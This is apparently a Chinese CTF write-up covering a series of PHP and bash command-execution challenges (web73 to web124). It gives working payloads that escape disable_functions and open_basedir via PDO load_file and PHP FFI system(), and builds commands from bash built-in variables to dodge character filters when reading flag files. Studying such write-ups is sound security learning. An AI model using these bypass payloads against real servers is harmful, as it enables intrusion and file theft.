em%29%3B+%23+internal+func+handler%0D%0A%0D%0A++++%28%24helper-%3Eb%29%28%24cmd%29%3B%0D%0A++++exit%28%29%3B%0D%0A%7D%0D%0A
web73
没有open_basedir,直接scandir都行,是/flagc.txt,然后include也没过滤,直接include就行了。
web74
同上
web75
先利用之前的姿势得到flag在/flag36.txt。
这题的姿势非常古怪,看了WP才知道:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
大师傅们说数据库的连接是读配置文件得到的。至于配置文件在哪。。鬼知道。。。
不过这种拿SQL语句来读文件绕过open_basedir和disable_function的姿势实在是第一次见,学到了学到了。
web76
同上。
web77
明示是php7.4,很容易想到利用FFI来绕过disable_functions。姿势如下:
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
$ffi = FFI::cdef(
"int system(const char *command);");
$ffi->system("/readflag > 1.txt");
exit();
需要注意的是命令执行没有回显,只能写文件里。因为之前都没有写的权限,我第一反应是没法写,然后echo也没法回显,就以为是姿势不对。其实这题/var/www/html有写的权限,1.txt也是直接就可以访问。
web118
又是姿势盲区。。。感觉大师傅们的姿势实在是太多了,太强了。
经过一系列的fuzz,可以发现过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。
具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。
常见 Bash 内置变量介绍
Linux 基础知识:Bash的内置变量
正常可以利用切片来获得所需要的字母:
但是这题过滤了数字,因此要用到另一个知识点:取反号~
linux可以利用~获得变量的最后几位:
但是不是过滤了数字了吗?可以利用字母,在这里用字母就等同于数字0:
所以可以利用各个环境变量的最后一位来构造命令。
${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,结尾,因此就可以构造命令nl:
code=${PATH:~A}${PWD:~A} ????.???
web119
在上一题的基础上过滤了PATH还有BASH,所以就不像上一题那样可以这么轻松的构造出来了,需要把能利用的变量通通试一遍。
数字方面可以构造出什么呢?首先大写字母等同于0,所以0是有的。还要知道linux的这个知识:
${#变量}
不加#是变量的值,加了#是变量的值的长度。既然linux存在那么多的bash内置变量,那么长度肯定也是很多的,再加上各种变形和套娃,我觉得甚至0-9都取到也不是很难。
这里大师傅们用了这两个内置变量:RANDOM
和SHLVL
。
RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
因此光利用RANDOM这个函数理论上就可以得到数字1-5了,不过相对来说4和5的概率会更大。
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器
不理解也没关系,只要知道这个东西的默认值是1,而且如果不进行一些特殊的操作的话,永远都是1,所以这个可以帮助我们得到数字1。
yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web120
同上。
之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。
web121
又加ban了好多东西,对于我们来说SHLVL被ban了,因此数字1的构造需要重新想办法。虽然理论上有了RANDOM什么数字都可以构造出来,但是毕竟是随机,拿脚本去跑拼运气总是不好的。
经过本地测试,发现这个可以构造出1:
${##}
为啥我也不知道。。。在本地瞎测试出来的。
看了一下yu师傅的姿势,用的是${#?}
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
所以用${##}
和${#?}都可以
,去对之前的姿势进行修改就可以了。
hint中的payload是这个:
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
用到了IFS:
用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。
长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。
web122
又ban了许多东西,ban了PWD可以用HOME代替,但是把#给ban就非常难受了,没想到比较好的办法。
看了一下yu师傅的WP,还是利用$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的:
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
"OS error code 11: Resource temporarily unavailable"
"OS error code 12: Cannot allocate memory"
"OS error code 13: Permission denied"
"OS error code 14: Bad address"
"OS error code 15: Block device required"
"OS error code 16: Device or resource busy"
"OS error code 17: File exists"
"OS error code 18: Invalid cross-device link"
"OS error code 19: No such device"
"OS error code 20: Not a directory"
"OS error code 21: Is a directory"
"OS error code 22: Invalid argument"
"OS error code 23: Too many open files in system"
"OS error code 24: Too many open files"
"OS error code 25: Inappropriate ioctl for device"
"OS error code 26: Text file busy"
"OS error code 27: File too large"
"OS error code 28: No space left on device"
"OS error code 29: Illegal seek"
"OS error code 30: Read-only file system"
"OS error code 31: Too many links"
"OS error code 32: Broken pipe"
"OS error code 33: Numerical argument out of domain"
"OS error code 34: Numerical result out of range"
"OS error code 35: Resource deadlock avoided"
"OS error code 36: File name too long"
"OS error code 37: No locks available"
"OS error code 38: Function not implemented"
"OS error code 39: Directory not empty"
"OS error code 40: Too many levels of symbolic links"
"OS error code 42: No message of desired type"
"OS error code 43: Identifier removed"
"OS error code 44: Channel number out of range"
"OS error code 45: Level 2 not synchronized"
"OS error code 46: Level 3 halted"
"OS error code 47: Level 3 reset"
"OS error code 48: Link number out of range"
"OS error code 49: Protocol driver not attached"
"OS error code 50: No CSI structure available"
"OS error code 51: Level 2 halted"
"OS error code 52: Invalid exchange"
"OS error code 53: Invalid request descriptor"
"OS error code 54: Exchange full"
"OS error code 55: No anode"
"OS error code 56: Invalid request code"
"OS error code 57: Invalid slot"
"OS error code 59: Bad font file format"
"OS error code 60: Device not a stream"
"OS error code 61: No data available"
"OS error code 62: Timer expired"
"OS error code 63: Out of streams resources"
"OS error code 64: Machine is not on the network"
"OS error code 65: Package not installed"
"OS error code 66: Object is remote"
"OS error code 67: Link has been severed"
"OS error code 68: Advertise error"
"OS error code 69: Srmount error"
"OS error code 70: Communication error on send"
"OS error code 71: Protocol error"
"OS error code 72: Multihop attempted"
"OS error code 73: RFS specific error"
"OS error code 74: Bad message"
"OS error code 75: Value too large for defined data type"
"OS error code 76: Name not unique on network"
"OS error code 77: File descriptor in bad state"
"OS error code 78: Remote address changed"
"OS error code 79: Can not access a needed shared library"
"OS error code 80: Accessing a corrupted shared library"
"OS error code 81: .lib section in a.out corrupted"
"OS error code 82: Attempting to link in too many shared libraries"
"OS error code 83: Cannot exec a shared library directly"
"OS error code 84: Invalid or incomplete multibyte or wide character"
"OS error code 85: Interrupted system call should be restarted"
"OS error code 86: Streams pipe error"
"OS error code 87: Too many users"
"OS error code 88: Socket operation on non-socket"
"OS error code 89: Destination address required"
"OS error code 90: Message too long"
"OS error code 91: Protocol wrong type for socket"
"OS error code 92: Protocol not available"
"OS error code 93: Protocol not supported"
"OS error code 94: Socket type not supported"
"OS error code 95: Operation not supported"
"OS error code 96: Protocol family not supported"
"OS error code 97: Address family not supported by protocol"
"OS error code 98: Address already in use"
"OS error code 99: Cannot assign requested address"
"OS error code 100: Network is down"
"OS error code 101: Network is unreachable"
"OS error code 102: Network dropped connection on reset"
"OS error code 103: Software caused connection abort"
"OS error code 104: Connection reset by peer"
"OS error code 105: No buffer space available"
"OS error code 106: Transport endpoint is already connected"
"OS error code 107: Transport endpoint is not connected"
"OS error code 108: Cannot send after transport endpoint shutdown"
"OS error code 109: Too many references: cannot splice"
"OS error code 110: Connection timed out"
"OS error code 111: Connection refused"
"OS error code 112: Host is down"
"OS error code 113: No route to host"
"OS error code 114: Operation already in progress"
"OS error code 115: Operation now in progress"
"OS error code 116: Stale NFS file handle"
"OS error code 117: Structure needs cleaning"
"OS error code 118: Not a XENIX named type file"
"OS error code 119: No XENIX semaphores available"
"OS error code 120: Is a named type file"
"OS error code 121: Remote I/O error"
"OS error code 122: Disk quota exceeded"
"OS error code 123: No medium found"
"OS error code 124: Wrong medium type"
"OS error code 125: Operation canceled"
"OS error code 126: Required key not available"
"OS error code 127: Key has expired"
"OS error code 128: Key has been revoked"
"OS error code 129: Key was rejected by service"
"OS error code 130: Owner died"
"OS error code 131: State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full; Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"
yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<
<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
不过为什么${}和<A这样的报错归属为Operation not permitted我也很迷。。。
最终payload如下:
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
国赛的一道题,以前做过了,wp如下:
[CISCN 2019 初赛]Love Math